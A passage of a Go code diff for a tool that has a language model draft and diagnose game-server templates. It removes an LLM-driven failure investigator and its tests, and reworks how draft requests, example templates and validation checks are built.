-	"Answer with JSON: cause (what is wrong, specifically), evidence (which lines, files or results show it), " +
-	"confidence, fix (the exact change to the template), and checks. If the evidence doesn't settle the cause, ask " +
-	"for up to 3 checks instead of guessing:\n" +
-	"- {\"type\":\"search\",\"query\":\"...\"}: a web search, e.g. the exact error message with the game's name\n" +
-	"- {\"type\":\"read\",\"url\":\"...\"}: read a page\n" +
-	"- {\"type\":\"files\"}: boot the template once more and list the files and config files the server writes, " +
-	"where it writes them, and its error lines\n" +
-	"- {\"type\":\"boot_with\",\"config\":{\"Key\":\"value\"},\"startup\":\"...\"}: boot test with those settings " +
-	"and/or that startup command changed, to see whether that change makes the difference\n" +
-	"Leave checks empty once you are sure. Never propose a cause the attempt log has ruled out.\n\n"
-
-type investigator struct {
-	m                                  model
-	gameName, gamesDir, id, agentImage string
-	searx, reader, rules               string
-	log                                []attempt
-}
-
-func newInvestigator(m model, gameName, gamesDir, id, agentImage string) *investigator {
-	rules, _ := os.ReadFile("AUTHORING.md")
-	return &investigator{m: m, gameName: gameName, gamesDir: gamesDir, id: id, agentImage: agentImage,
-		searx: os.Getenv("SEARXNG_URL"), reader: os.Getenv("READER_URL"), rules: string(rules)}
-}
-
-// diagnose investigates one failure and returns the model's diagnosis (checks answered).
-func (iv *investigator) diagnose(failure string) (*diagnosis, error) {
-	template, _ := os.ReadFile(filepath.Join(iv.gamesDir, iv.id, "game.yaml"))
-	var b strings.Builder
-	fmt.Fprintf(&b, "Game: %s\n\n## The template\n```yaml\n%s```\n\n## What failed\n%s\n", iv.gameName, template, failure)
-	if ev := iv.webEvidence(failure); ev != "" {
-		b.WriteString("\n## What the web says about its errors\n" + ev)
-	}
-	b.WriteString("\n## Attempt log\n" + iv.logText())
-	messages := []chatMessage{
-		{Role: "system", Content: diagnosePrompt + iv.rules},
-		{Role: "user", Content: b.String()},
-	}
-	var d diagnosis
-	for round := 0; ; round++ {
-		fmt.Printf("[diagnose] round %d: asking %s what is wrong\n", round+1, iv.m.name())
-		answer, err := iv.m.chat(messages, diagnosisSchema)
-		if err != nil {
-			return nil, err
-		}
-		d = diagnosis{}
-		if err := json.Unmarshal([]byte(trimToJSON(answer)), &d); err != nil {
-			return nil, fmt.Errorf("unreadable diagnosis: %w", err)
-		}
-		fmt.Printf("[diagnose] cause (%s confidence): %s\n", d.Confidence, firstLine(d.Cause))
-		if len(d.Checks) == 0 || round == 2 {
-			return &d, nil
-		}
-		messages = append(messages, chatMessage{Role: "assistant", Content: answer})
-		messages = append(messages, chatMessage{Role: "user", Content: "Results of your checks:\n\n" + iv.runChecks(d.Checks) +
-			"\nNow give your diagnosis. Ask for more checks only if these still don't settle the cause."})
-	}
-}
-
-// webEvidence searches for the server's most telling error line and reads the best answer.
-func (iv *investigator) webEvidence(failure string) string {
-	errs := distinctErrors(failure, 3)
-	if len(errs) == 0 || iv.searx == "" {
-		return ""
-	}
-	return iv.search(iv.gameName + " dedicated server " + errs[0])
-}
-
-func (iv *investigator) search(query string) string {
-	if iv.searx == "" {
-		return "(no search configured)\n"
-	}
-	fmt.Printf("[diagnose] searching: %s\n", query)
-	hits, err := searxSearch(iv.searx, query)
-	if err != nil || len(hits) == 0 {
-		return fmt.Sprintf("search %q: no results\n", query)
-	}
-	var b strings.Builder
-	fmt.Fprintf(&b, "Search %q:\n", query)
-	for i, h := range hits {
-		if i == 5 {
-			break
-		}
-		fmt.Fprintf(&b, "- %s — %s: %.300s\n", h.URL, h.Title, h.Content)
-	}
-	if iv.reader != "" {
-		if text, err := readPageLimit(iv.reader, hits[0].URL, 6000); err == nil {
-			fmt.Fprintf(&b, "\nTop result (%s):\n%s\n", hits[0].URL, text)
-		}
-	}
-	return b.String()
-}
-
-func (iv *investigator) runChecks(checks []checkRequest) string {
-	var b strings.Builder
-	boots := 0
-	for _, c := range checks {
-		switch c.Type {
-		case "search":
-			b.WriteString(iv.search(c.Query))
-		case "read":
-			fmt.Printf("[diagnose] reading %s\n", c.URL)
-			if text, err := readPageLimit(iv.reader, c.URL, 8000); err != nil {
-				fmt.Fprintf(&b, "read %s: %v\n", c.URL, err)
-			} else {
-				fmt.Fprintf(&b, "Page %s:\n%s\n", c.URL, text)
-			}
-		case "files", "boot_with":
-			// Boots take minutes: at most two per round
-			if boots++; boots > 2 {
-				fmt.Fprintf(&b, "%s: skipped (at most two boots per round)\n", c.Type)
-				continue
-			}
-			if c.Type == "files" {
-				b.WriteString(iv.filesCheck())
-			} else {
-				b.WriteString(iv.bootWith(c))
-			}
-		}
-		b.WriteString("\n")
-	}
-	// Bounded, like every request: pages can be long, and the model's context is not
-	if s := b.String(); len(s) > 16000 {
-		return s[:16000] + "\n...(cut: check results too long)\n"
-	}
-	return b.String()
-}
-
-// filesCheck boots the template and reports what the server wrote and where.
-func (iv *investigator) filesCheck() string {
-	fmt.Println("[diagnose] booting once more to see what the server writes")
-	r, err := firstBootGame(iv.gamesDir, iv.id)
-	if err != nil {
-		return "files: the boot could not run: " + err.Error() + "\n"
-	}
-	var b strings.Builder
-	fmt.Fprintf(&b, "Files check: %s\n", r.Outcome)
-	for i, f := range r.FilesCreated {
-		if i == 60 {
-			fmt.Fprintf(&b, "  ... and %d more files\n", len(r.FilesCreated)-60)
-			break
-		}
-		fmt.Fprintf(&b, "  file %s (%d bytes)\n", f.Path, f.Size)
-	}
-	for i, s := range r.Settings {
-		if i == 80 {
-			break
-		}
-		fmt.Fprintf(&b, "  setting %s | %s | %s = %s\n", s.File, s.Section, s.Key, s.Value)
-	}
-	if dirs := outsideDirs(r); len(dirs) > 0 {
-		fmt.Fprintf(&b, "  written outside /server and /data (lost on every restart): %s\n", strings.Join(dirs, ", "))
-	}
-	for i, l := range r.ErrorLines {
-		if i == 10 {
-			break
-		}
-		fmt.Fprintf(&b, "  error line: %s\n", l.Text)
-	}
-	return b.String()
-}
-
-// bootWith boot-tests a copy of the template with settings and/or the startup command changed.
-func (iv *investigator) bootWith(c checkRequest) string {
-	desc := describeChange(c)
-	fmt.Printf("[diagnose] boot test with %s\n", desc)
-	games, err := os.MkdirTemp("", "gbr-diagnose-")
-	if err != nil {
-		return "boot_with: " + err.Error() + "\n"
-	}
-	defer os.RemoveAll(games)
-	if err := copyTemplateWith(filepath.Join(iv.gamesDir, iv.id), filepath.Join(games, iv.id), c); err != nil {
-		return "boot_with: " + err.Error() + "\n"
-	}
-	output, passed, problems, err := agentBoot(games, iv.id, iv.agentImage, false)
-	switch {
-	case err != nil:
-		return "boot_with: the boot could not run: " + err.Error() + "\n"
-	case problems != nil:
-		return "boot_with: " + strings.Join(problems, "; ") + "\n"
-	case passed:
-		return fmt.Sprintf("Boot with %s: PASSED (%s)\n", desc, bootVerdict(output))
-	}
-	return fmt.Sprintf("Boot with %s: %s\n", desc, strings.TrimPrefix(bootFailure(output), "booting your template with the node-agent (the real deploy code) failed: "))
-}
-
-func describeChange(c checkRequest) string {
-	var parts []string
-	for _, k := range sortedKeysString(c.Config) {
-		parts = append(parts, fmt.Sprintf("%s=%q", k, c.Config[k]))
-	}
-	if c.Startup != "" {
-		parts = append(parts, fmt.Sprintf("startup %q", c.Startup))
-	}
-	if len(parts) == 0 {
-		return "no change"
-	}
-	return strings.Join(parts, ", ")
-}
-
-// copyTemplateWith copies games/<id>/ to dst with the requested settings and startup command applied.
-func copyTemplateWith(src, dst string, c checkRequest) error {
-	g, err := loadMap(filepath.Join(src, "game.yaml"))
-	if err != nil {
-		return err
-	}
-	if len(c.Config) > 0 {
-		defaults, _ := g["defaultConfig"].(map[string]any)
-		if defaults == nil {
-			defaults = map[string]any{}
-		}
-		for k, v := range c.Config {
-			defaults[k] = v
-		}
-		g["defaultConfig"] = defaults
-	}
-	if c.Startup != "" {
-		g["defaultStartupCommand"] = c.Startup
-	}
-	if err := os.MkdirAll(dst, 0o755); err != nil {
-		return err
-	}
-	if err := writeGame(filepath.Join(dst, "game.yaml"), g); err != nil {
-		return err
-	}
-	if raw, err := os.ReadFile(filepath.Join(src, "test.yaml")); err == nil {
-		return os.WriteFile(filepath.Join(dst, "test.yaml"), raw, 0o644)
-	}
-	return nil
-}
-
-var (
-	digits = regexp.MustCompile(`\d+`)
-	// Timestamps the shared linePrefix doesn't cover, like 10/26/2026 01:12:02:
-	slashDate = regexp.MustCompile(`^\s*\d{1,2}/\d{1,2}/\d{2,4}[ T][0-9:.,]+:?\s*`)
-)
-
-// distinctErrors picks the server's error-looking lines, without timestamps and with repeats removed.
-// The boot test's own verdict lines are not the server's errors.
-func distinctErrors(output string, n int) []string {
-	seen := map[string]bool{}
-	var out []string
-	for _, raw := range strings.Split(output, "\n") {
-		raw = strings.TrimSpace(ansi.ReplaceAllString(raw, ""))
-		if strings.HasPrefix(raw, "[boot-test]") || strings.HasPrefix(raw, "booting your template") {
-			continue
-		}
-		line := strings.TrimSpace(slashDate.ReplaceAllString(linePrefix.ReplaceAllString(raw, ""), ""))
-		if line == "" || !errorWords.MatchString(line) {
-			continue
-		}
-		key := digits.ReplaceAllString(strings.ToLower(line), "N")
-		if seen[key] {
-			continue
-		}
-		seen[key] = true
-		if len(line) > 160 {
-			line = line[:160]
-		}
-		out = append(out, line)
-		if len(out) == n {
-			break
-		}
-	}
-	return out
-}
-
-func (iv *investigator) logText() string {
-	if len(iv.log) == 0 {
-		return "(first attempt)\n"
-	}
-	var b strings.Builder
-	for i, a := range iv.log {
-		fmt.Fprintf(&b, "%d. cause: %s\n   fix: %s\n   outcome: %s\n", i+1, a.Cause, a.Fix, a.Outcome)
-	}
-	b.WriteString("A fix whose outcome is unchanged ruled its cause out: look for another cause.\n")
-	return b.String()
-}
-
-// ruledOut reports whether the diagnosis names a cause an earlier fix already disproved.
-func (iv *investigator) ruledOut(d *diagnosis) bool {
-	key := causeKey(d.Cause)
-	for _, a := range iv.log {
-		if causeKey(a.Cause) == key && !strings.HasPrefix(a.Outcome, "fixed") {
-			return true
-		}
-	}
-	return false
-}
-
-var nonWord = regexp.MustCompile(`[^a-z0-9]+`)
-
-func causeKey(s string) string {
-	return strings.Trim(nonWord.ReplaceAllString(strings.ToLower(s), " "), " ")
-}
-
-func (iv *investigator) record(d *diagnosis) {
-	iv.log = append(iv.log, attempt{Cause: d.Cause, Fix: d.Fix, Outcome: "(not booted yet)"})
-}
-
-// outcome fills in how the last fix went: fixed, the same failure, or a new one.
-func (iv *investigator) outcome(passed bool, before, after string) {
-	if len(iv.log) == 0 {
-		return
-	}
-	a := &iv.log[len(iv.log)-1]
-	switch {
-	case passed:
-		a.Outcome = "fixed: the boot test passed"
-	case causeKey(firstLine(before)) == causeKey(firstLine(after)):
-		a.Outcome = "unchanged: " + firstLine(after)
-	default:
-		a.Outcome = "a different failure: " + firstLine(after)
-	}
-}
-
-func fixRequest(failure string, d *diagnosis) []string {
-	return []string{fmt.Sprintf("%s\n\nDiagnosis:\n- cause: %s\n- evidence: %s\n- fix: %s\n\nApply exactly this fix and change "+
-		"nothing unrelated to it.", firstLine(failure), d.Cause, d.Evidence, d.Fix)}
-}

cmd/gbrgames/diagnose_test.go

@@ -1,128 +0,0 @@
-package main
-
-import (
-	"net/http"
-	"net/http/httptest"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-)
-
-// fakeModel answers with the given replies in order and keeps what it was asked.
-type fakeModel struct {
-	replies []string
-	asked   [][]chatMessage
-}
-
-func (f *fakeModel) name() string { return "fake" }
-func (f *fakeModel) chat(m []chatMessage, _ map[string]any) (string, error) {
-	f.asked = append(f.asked, append([]chatMessage{}, m...))
-	r := f.replies[0]
-	f.replies = f.replies[1:]
-	return r, nil
-}
-
-func TestDiagnoseRunsRequestedChecksBeforeAnswering(t *testing.T) {
-	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		if strings.HasPrefix(r.URL.Path, "/search") {
-			w.Write([]byte(`{"results":[{"url":"https://example.com/fix","title":"Server stops at start","content":"set a password"}]}`))
-			return
-		}
-		w.Write([]byte("The server refuses to run without a join password."))
-	}))
-	defer srv.Close()
-	games := t.TempDir()
-	os.MkdirAll(filepath.Join(games, "example"), 0o755)
-	os.WriteFile(filepath.Join(games, "example", "game.yaml"), []byte("id: example\nname: Example\n"), 0o644)
-
-	m := &fakeModel{replies: []string{
-		`{"cause":"unsure","evidence":"no error line","confidence":"low","fix":"","checks":[{"type":"search","query":"example server stops at start"}]}`,
-		`{"cause":"the server needs a join password","evidence":"the search result says so","confidence":"high","fix":"give JoinPassword x-generate","checks":[]}`,
-	}}
-	iv := &investigator{m: m, gameName: "Example", gamesDir: games, id: "example", searx: srv.URL, reader: srv.URL}
-	d, err := iv.diagnose("FAILED: server crashed and was restarted 1 time(s)\nError: could not start")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if d.Confidence != "high" || !strings.Contains(d.Fix, "x-generate") {
-		t.Errorf("diagnosis: %+v", d)
-	}
-	second := m.asked[1]
-	last := second[len(second)-1].Content
-	if !strings.Contains(last, "Results of your checks") || !strings.Contains(last, "https://example.com/fix") ||
-		!strings.Contains(last, "refuses to run without a join password") {
-		t.Errorf("check results not sent back:\n%s", last)
-	}
-	// The first question already carried the web evidence for the error line
-	if first := m.asked[0][1].Content; !strings.Contains(first, "What the web says") {
-		t.Errorf("no web evidence in:\n%s", first)
-	}
-}
-
-func TestAttemptLogRulesOutCausesThatChangedNothing(t *testing.T) {
-	iv := &investigator{}
-	iv.record(&diagnosis{Cause: "Not enough memory.", Fix: "requiredMemoryMb 8192"})
-	iv.outcome(false, "FAILED: server crashed", "FAILED: server crashed")
-	if !strings.HasPrefix(iv.log[0].Outcome, "unchanged") {
-		t.Errorf("outcome %q", iv.log[0].Outcome)
-	}
-	if !iv.ruledOut(&diagnosis{Cause: "not enough memory"}) {
-		t.Error("the same cause again should be ruled out")
-	}
-	if iv.ruledOut(&diagnosis{Cause: "the join password is empty"}) {
-		t.Error("a new cause is not ruled out")
-	}
-	if !strings.Contains(iv.logText(), "ruled its cause out") {
-		t.Error("log text should tell the model")
-	}
-	iv.record(&diagnosis{Cause: "empty join password", Fix: "x-generate"})
-	iv.outcome(true, "FAILED: server crashed", "")
-	if !strings.HasPrefix(iv.log[1].Outcome, "fixed") || iv.ruledOut(&diagnosis{Cause: "empty join password"}) {
-		t.Errorf("fixed cause: %+v", iv.log[1])
-	}
-}
-
-func TestDistinctErrorsDropsTimestampsAndRepeats(t *testing.T) {
-	out := "[boot-test] FAILED: container exited\n" +
-		"10/26/2026 01:12:02: Error: failed to bind port 30000\n" +
-		"10/26/2026 01:12:03: Error: failed to bind port 30001\n" +
-		"all fine here\n" +
-		"[12:00:01] Fatal: missing config file"
-	got := distinctErrors(out, 5)
-	if len(got) != 2 || got[0] != "Error: failed to bind port 30000" || got[1] != "Fatal: missing config file" {
-		t.Errorf("got %q", got)
-	}
-}
-
-func TestCopyTemplateWithAppliesTheChange(t *testing.T) {
-	src, dst := filepath.Join(t.TempDir(), "example"), filepath.Join(t.TempDir(), "example")
-	os.MkdirAll(src, 0o755)
-	os.WriteFile(filepath.Join(src, "game.yaml"), []byte("id: example\nname: Example\ndefaultStartupCommand: ./server\ndefaultConfig:\n  JoinPassword: \"\"\n"), 0o644)
-	os.WriteFile(filepath.Join(src, "test.yaml"), []byte("timeoutSec: 600\n"), 0o644)
-	if err := copyTemplateWith(src, dst, checkRequest{Config: map[string]string{"JoinPassword": "secret1"}, Startup: "./server -verbose"}); err != nil {
-		t.Fatal(err)
-	}
-	g, err := loadMap(filepath.Join(dst, "game.yaml"))
-	if err != nil {
-		t.Fatal(err)
-	}
-	if g["defaultStartupCommand"] != "./server -verbose" || g["defaultConfig"].(map[string]any)["JoinPassword"] != "secret1" {
-		t.Errorf("got %v", g)
-	}
-	if _, err := os.Stat(filepath.Join(dst, "test.yaml")); err != nil {
-		t.Error("test.yaml not copied")
-	}
-	if got := describeChange(checkRequest{Config: map[string]string{"JoinPassword": "secret1"}}); got != `JoinPassword="secret1"` {
-		t.Errorf("describe: %s", got)
-	}
-}
-
-func TestFixRequestCarriesTheDiagnosis(t *testing.T) {
-	got := strings.Join(fixRequest("FAILED: server crashed\nlog...", &diagnosis{Cause: "c", Evidence: "e", Fix: "f"}), "")
-	for _, want := range []string{"FAILED: server crashed", "- cause: c", "- fix: f", "Apply exactly this fix"} {
-		if !strings.Contains(got, want) {
-			t.Errorf("missing %q in %s", want, got)
-		}
-	}
-}

cmd/gbrgames/draft.go

@@ -13,6 +13,7 @@ import (
 	"path"
 	"path/filepath"
 	"regexp"
+	"sort"
 	"strings"
 	"time"
 
@@ -38,7 +39,7 @@ func runDraft(args []string) error {
 	fs := flag.NewFlagSet("draft", flag.ExitOnError)
 	gamesDir := fs.String("games", "games", "directory holding one folder per game")
 	schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas")
-	gameName := fs.String("name", "", "the game's name, as players know it")
+	gameName := fs.String("name", "", "the game's name, e.g. \"Valheim\"")
 	id := fs.String("id", "", "folder/id for the new game (default: from -name)")
 	image := fs.String("image", "", "Docker image the server runs in")
 	steamApp := fs.String("steam-app", "", "SteamCMD app id, if the server is installed with SteamCMD")
@@ -81,17 +82,10 @@ type draftJob struct {
 	Report              *bootReport
 	Provider, Model     string
 	NoPull              bool
-	// Text of the pages research based the variant on; when set, every launch option in the startup
-	// command must appear in it (or in the image's scripts)
-	Docs string
-	// Repair: games/<id> is an existing template to fix, not a new game
-	Repair bool
 }
 
-// drafter keeps what the model needs about one game across rounds. Each request is rebuilt from it
-// instead of growing one conversation: a local model's context is limited, and when a conversation
-// outgrows it the oldest part, the facts, is silently dropped. A request is the rules and the facts,
-// the model's latest template, what is wrong with it now, and one line per earlier round.
+// drafter holds one conversation with the model about one game, so later problems (a failed boot) can
+// be sent back to it with everything it was told before.
 type drafter struct {
 	job                    draftJob
 	dir, id                string
@@ -99,9 +93,7 @@ type drafter struct {
 	facts                  *imageFacts
 	gameSchema, testSchema *jsonschema.Schema
 	answerSchema           map[string]any
-	base                   []chatMessage // the rules and the facts
-	last                   string        // the model's latest answer (or the template being repaired)
-	history                []string      // one line per earlier round
+	messages               []chatMessage
 	rounds                 int
 }
 
@@ -111,8 +103,8 @@ func newDrafter(j draftJob) (*drafter, error) {
 		id = gameID(j.Name)
 	}
 	d := &drafter{job: j, id: id, dir: filepath.Join(j.GamesDir, id)}
-	if _, err := os.Stat(d.dir); err == nil && !j.Repair {
-		return nil, fmt.Errorf("%s already exists; drafts only create new games (repair fixes existing ones)", d.dir)
+	if _, err := os.Stat(d.dir); err == nil {
+		return nil, fmt.Errorf("%s already exists; drafts only create new games", d.dir)
 	}
 	var err error
 	if d.m, err = newModel(j.Provider, j.Model); err != nil {
@@ -143,29 +135,13 @@ func newDrafter(j draftJob) (*drafter, error) {
 	if why := imageUnusable(j.Report); why != "" {
 		return nil, errors.New(why)
 	}
-	d.base = []chatMessage{
+	d.messages = []chatMessage{
 		{Role: "system", Content: draftSystemPrompt(string(rules))},
-		{Role: "user", Content: draftRequest(j.Name, id, j.Image, j.SteamApp, j.Notes, d.facts, j.Report)},
+		{Role: "user", Content: draftRequest(j.Name, id, j.Image, j.SteamApp, j.Notes, d.facts, j.Report, exampleTemplates(j.GamesDir, 2))},
 	}
 	return d, nil
 }
 
-// request builds one request: the rules and facts, and once there is a template, that template with
-// what is wrong with it and a line per earlier round.
-func (d *drafter) request(problems []string) []chatMessage {
-	msgs := append([]chatMessage{}, d.base...)
-	if d.last == "" {
-		return msgs
-	}
-	var b strings.Builder
-	b.WriteString("Your template (above) has these problems. Fix all of them and answer with the complete corrected " +
-		"JSON object (both \"game\" and \"test\"):\n- " + strings.Join(problems, "\n- "))
-	if len(d.history) > 0 {
-		b.WriteString("\n\nEarlier rounds (already dealt with: don't undo those fixes):\n- " + strings.Join(d.history, "\n- "))
-	}
-	return append(msgs, chatMessage{Role: "assistant", Content: d.last}, chatMessage{Role: "user", Content: b.String()})
-}
-
 func gameID(name string) string {
 	return strings.Trim(regexp.MustCompile(`[^a-z0-9]+`).ReplaceAllString(strings.ToLower(name), "-"), "-")
 }
@@ -174,20 +150,20 @@ func gameID(name string) string {
 // attempts+1 answers. feedback, when given, is what went wrong since the last answer (e.g. its boot).
 // It returns the problems still left, nil when the draft passes.
 func (d *drafter) refine(attempts int, feedback []string) ([]string, error) {
-	problems := feedback
+	if len(feedback) > 0 {
+		d.ask(feedback)
+	}
+	var problems []string
 	for round := 0; round <= attempts; round++ {
 		d.rounds++
 		fmt.Printf("[draft] round %d: asking %s\n", d.rounds, d.m.name())
 		start := time.Now()
-		answer, err := d.m.chat(d.request(problems), d.answerSchema)
+		answer, err := d.m.chat(d.messages, d.answerSchema)
 		if err != nil {
 			return nil, err
 		}
 		fmt.Printf("[draft] answer in %.0fs\n", time.Since(start).Seconds())
-		if len(problems) > 0 {
-			d.history = append(d.history, fmt.Sprintf("round %d fixed: %s", d.rounds, summarize(problems)))
-		}
-		d.last = answer
+		d.messages = append(d.messages, chatMessage{Role: "assistant", Content: answer})
 
 		if problems = d.check(answer); len(problems) == 0 {
 			fmt.Printf("[draft] %s passes validation and the image checks\n", d.dir)
@@ -197,20 +173,16 @@ func (d *drafter) refine(attempts int, feedback []string) ([]string, error) {
 		for _, p := range problems {
 			fmt.Println("        - " + p)
 		}
+		if round < attempts {
+			d.ask(problems)
+		}
 	}
 	return problems, nil
 }
 
-// summarize is one line for the round history: the first problem, and how many more.
-func summarize(problems []string) string {
-	s := firstLine(problems[0])
-	if len(s) > 160 {
-		s = s[:160] + "…"
-	}
-	if len(problems) > 1 {
-		s += fmt.Sprintf(" (and %d more)", len(problems)-1)
-	}
-	return s
+func (d *drafter) ask(problems []string) {
+	d.messages = append(d.messages, chatMessage{Role: "user", Content: "Your template has these problems. Fix all of them and " +
+		"answer with the complete corrected JSON object (both \"game\" and \"test\"):\n- " + strings.Join(problems, "\n- ")})
 }
 
 func (d *drafter) check(answer string) []string {
@@ -226,10 +198,6 @@ func (d *drafter) check(answer string) []string {
 			problems = append(problems, draftCompleteness(g, t)...)
 			problems = append(problems, unreadSettings(g, d.facts)...)
 			problems = append(problems, savesOutsideVolumes(g, d.job.Report)...)
-			problems = append(problems, splitSettings(g)...)
-			problems = append(problems, portSettings(g)...)
-			problems = append(problems, undocumentedOptions(g, d.job.Docs, d.facts)...)
-			problems = append(problems, unsafeCommands(g)...)
 		}
 	}
 	return problems
@@ -300,11 +268,6 @@ func draftCompleteness(game, test map[string]any) []string {
 	} else if v, _ := n.Int64(); v < 1024 {
 		problems = append(problems, "requiredMemoryMb is below 1024")
 	}
-	// Secrets only exist as CI settings a person adds; a draft with one can't be boot-tested anywhere
-	if secrets, _ := test["secrets"].(map[string]any); len(secrets) > 0 {
-		problems = append(problems, "test.yaml has 'secrets' ("+strings.Join(sortedKeys(secrets), ", ")+"), which no boot test of a "+
-			"new game has: remove them. A setting the server needs a password in gets \"x-generate\" instead")
-	}
 	if _, ok := game["readyPattern"]; !ok {
 		if _, ok := test["settleSec"]; !ok {
 			problems = append(problems, "no readyPattern and no test.settleSec: boot tests need one of them")
@@ -363,8 +326,11 @@ func closestVar(name string, vars []string) string {
 	return best
 }
 
+// Files the Steam client, Proton and the OS write for themselves: not the game's data
+var outsideNoise = []string{"/Steam/logs/", "/.steam/", "/steamcmd/", "/.cache/", "/tmp/", "/.local/share/umu"}
+
 // savesOutsideVolumes turns first boot's "written outside the volumes" into a hard check: anything the
-// game itself wrote there (worlds or player lists under the user's home folder) is lost every time the
+// game itself wrote there (Valheim's worlds and admin lists in ~/.config/unity3d/...) is lost every time the
 // node recreates the container. A template passes once its startup command or settings point the game at
 // /server or /data; a boot test then shows whether that really worked.
 func savesOutsideVolumes(game map[string]any, report *bootReport) []string {
@@ -396,8 +362,14 @@ func outsideDirs(report *bootReport) []string {
 	}
 	dirs := map[string]bool{}
 	for _, c := range report.ContainerChanges {
-		// A report saved by an older version can still list files that aren't the game's state
-		if _, p, _ := strings.Cut(c, " "); p != "" && !notGameState(p) {
+		_, p, _ := strings.Cut(c, " ")
+		noise := false
+		for _, n := range outsideNoise {
+			if strings.Contains(p, n) {
+				noise = true
+			}
+		}
+		if !noise && p != "" {
 			dirs[path.Dir(p)] = true
 		}
 	}
@@ -424,7 +396,7 @@ func imageUnusable(r *bootReport) string {
 		*r.ExitCode, r.RanSeconds, r.User, denied[0])
 }
 
-func draftRequest(gameName, id, image, steamApp, notes string, facts *imageFacts, report *bootReport) string {
+func draftRequest(gameName, id, image, steamApp, notes string, facts *imageFacts, report *bootReport, examples string) string {
 	var b strings.Builder
 	fmt.Fprintf(&b, "Write the template for **%s**.\n- id: %s\n- defaultDockerImage: %s\n", gameName, id, image)
 	if steamApp != "" {
@@ -434,22 +406,12 @@ func draftRequest(gameName, id, image, steamApp, notes string, facts *imageFacts
 		fmt.Fprintf(&b, "- notes: %s\n", notes)
 	}
 
-	// The image's scripts are the biggest part of the facts: 8000 characters each, 24000 in all, so the
-	// request leaves the model room for the rest and for its answer
 	f := *facts
 	f.Scripts = map[string]string{}
-	budget := 24000
-	for _, p := range sortedKeysString(facts.Scripts) {
-		s := facts.Scripts[p]
-		limit := min(8000, budget)
-		if limit <= 0 {
-			f.Scripts[p] = "(left out: too long for the request)"
-			continue
+	for p, s := range facts.Scripts {
+		if len(s) > 8000 {
+			s = s[:8000] + "\n...(truncated)"
 		}
-		if len(s) > limit {
-			s = s[:limit] + "\n...(truncated)"
-		}
-		budget -= len(s)
 		f.Scripts[p] = s
 	}
 	fj, _ := json.MarshalIndent(f, "", " ")
@@ -478,62 +440,33 @@ func draftRequest(gameName, id, image, steamApp, notes string, facts *imageFacts
 	} else {
 		b.WriteString("\n(No first-boot report: keep readyPattern out unless the facts show the ready line.)\n")
 	}
-	b.WriteString("\n## Format example\nAn invented server, to show the format and house style only. Its command, options, " +
-		"ports and app id belong to no real game: never copy them; take every value from the facts above.\n```yaml\n")
-	b.WriteString(exampleTemplate)
-	b.WriteString("```\n")
+	b.WriteString("\n## Working templates from this repo, for format and style (not content)\n")
+	b.WriteString(examples)
 	return b.String()
 }
 
-// exampleTemplate shows the model the format only. It's invented on purpose: the builder must stay
-// game-agnostic, so the model never sees another game's template (whose options it would copy). Its
-// command, options, port and app id belong to no real server; validated in draft_test.go.
-const exampleTemplate = `id: example-server
-name: Example Server
-defaultDockerImage: cm2network/steamcmd
-defaultStartupCommand: args=(-name "${SERVER_NAME}" -world "${WORLD_NAME:-world}" -port 30000 -datadir /server/saves); [ -n "${JOIN_PASSWORD}" ] && args+=(-password "${JOIN_PASSWORD}"); ./example_server "${args[@]}"
-requiredMemoryMb: 4096
-requiredDiskMb: 8192
-defaultPorts:
-  - 30000/udp
-  - 30001/udp
-installMethod: STEAMCMD
-installConfig:
-  appId: "1000000"
-defaultConfig:
-  JoinPassword: ""
-  ServerName: GBRHosting - {SERVER_NAME}
-  WorldName: world
-configSchema:
-  type: object
-  properties:
-    JoinPassword:
-      title: Join Password
-      description: Password players enter to join. Leave empty for a public server.
-      type: string
-      default: ""
-      category: Security & Access
-      x-savedValue:
-        key: GAME_JOIN_PASSWORD
-        label: Game join password
-        secret: true
-    ServerName:
-      title: Server Name
-      description: The name shown in the server browser.
-      type: string
-      default: GBRHosting - {SERVER_NAME}
-      category: System & General
-      showOnDeploy: true
-    WorldName:
-      title: World Name
-      description: The world to load. A new name starts a new world.
-      type: string
-      default: world
-      category: World & Environment
-backupPaths:
-  - saves
-readyPattern: 'Server is ready for connections'
-`
+// exampleTemplates picks the shortest templates in the repo as examples: real, validated, and small
+// enough to leave the model room for the facts.
+func exampleTemplates(gamesDir string, n int) string {
+	entries, _ := os.ReadDir(gamesDir)
+	type ex struct {
+		id   string
+		body string
+	}
+	var all []ex
+	for _, e := range entries {
+		raw, err := os.ReadFile(filepath.Join(gamesDir, e.Name(), "game.yaml"))
+		if err == nil {
+			all = append(all, ex{e.Name(), string(raw)})
+		}
+	}
+	sort.Slice(all, func(i, j int) bool { return len(all[i].body) < len(all[j].body) })
+	var b strings.Builder
+	for i := 0; i < n && i < len(all); i++ {
+		fmt.Fprintf(&b, "\n### games/%s/game.yaml\n```yaml\n%s```\n", all[i].id, all[i].body)
+	}
+	return b.String()
+}
 
 // writeDraft turns the model's JSON answer into games/<id>/game.yaml and test.yaml, using the importer's
 // writer so drafts look like every other template.
@@ -697,22 +630,17 @@ type ollamaModel struct{ url, model string }
 
 func (o *ollamaModel) name() string { return "ollama " + o.model + " at " + o.url }
 
-// The model's context in tokens. Ollama silently drops the oldest part of a prompt that doesn't fit, so
-// every request reports how much of it is used
-const ollamaContext = 32768
-
 func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (string, error) {
 	body := map[string]any{
 		"model": o.model, "messages": messages, "stream": false, "format": schema,
-		"options": map[string]any{"num_ctx": ollamaContext, "temperature": 0.2},
+		// Ollama silently truncates input beyond its default context
+		"options": map[string]any{"num_ctx": 32768, "temperature": 0.2},
 	}
 	var resp struct {
 		Message struct {
 			Content string `json:"content"`
 		} `json:"message"`
-		PromptTokens int    `json:"prompt_eval_count"`
-		AnswerTokens int    `json:"eval_count"`
-		Error        string `json:"error"`
+		Error string `json:"error"`
 	}
 	if err := postJSON(o.url+"/api/chat", body, &resp, 30*time.Minute); err != nil {
 		return "", err
@@ -720,18 +648,9 @@ func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (strin
 	if resp.Error != "" {
 		return "", errors.New("ollama: " + resp.Error)
 	}
-	fmt.Println(contextNote(resp.PromptTokens, resp.AnswerTokens))
 	return resp.Message.Content, nil
 }
 
-func contextNote(prompt, answer int) string {
-	note := fmt.Sprintf("[model] %d prompt + %d answer tokens of %d", prompt, answer, ollamaContext)
